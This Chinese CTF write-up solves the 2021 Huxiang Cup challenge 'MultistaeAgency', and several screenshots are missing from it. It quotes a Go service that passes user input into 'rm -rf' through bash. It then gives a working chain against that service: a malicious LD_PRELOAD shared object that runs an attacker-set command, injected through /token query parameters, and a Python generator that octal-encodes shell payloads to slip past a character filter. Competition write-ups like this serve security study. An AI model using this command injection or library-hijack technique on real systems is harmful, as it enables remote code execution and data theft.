湖湘杯 2021 final MultistaeAgency
2022-09-21 23:51:08

# 附件

在这里插入图片描述

web 下的 main.go
在这里插入图片描述
存在三个路径
list 展示上传到 token 下的文件
在这里插入图片描述

upload 上传文件并请求内网 9091 的 manage 接口
在这里插入图片描述

token:获取 token 并添加环境变量
在这里插入图片描述
manage 接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
func manage(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
m := values.Get("m")
if !waf(m) {
fmt.Fprintf(w, "waf!")
return
}
cmd := fmt.Sprintf("rm -rf uploads/%s", m)
fmt.Println(cmd)
command := exec.Command("bash", "-c", cmd)
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
if err = command.Wait(); err != nil {
res = outerr.String()
} else {
res = outinfo.String()

}
fmt.Fprintf(w, res)
}

在这里存在 rce 的点

其中有一个 waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"}
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) {
if t == s {
continue
}
if t == 0 {
t = s
} else {
return false
}
}
}

return true
}

既然会加载环境变量,可以让其加载恶意的 so 文件来 rce

1
2
3
4
5
6
7
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system(getenv("_evilcmd"));
}

gcc -shared -fPIC -o evil.so evil.c

大致思路:
通过上传恶意的 so 文件来 rce,先访问 /token 获取到 token 的值,因为后面会有检验,upload 会将其移动到 token 目录下,上传会发现其请求 /token?http_proxy=127.0.0.1:8080 获取到 token,也就是 proxy 代理实现。再去 curl 内网的 9091manage 接口,将 m 参数传入即可得到 flag,当然还要先绕过 waf

在这里插入图片描述

1
2
/token?http_proxy=127.0.0.1:8080&LD_PRELOAD=/code/uploads/2ea6a3a71d0b2db658544f67f1468897/XVlBz&_evilcmd=ls /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from urllib.parse import quote
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd):
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s

def build(cmd):
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''

print(quote(quote("123;"+build("cat /flag"))))


在这里插入图片描述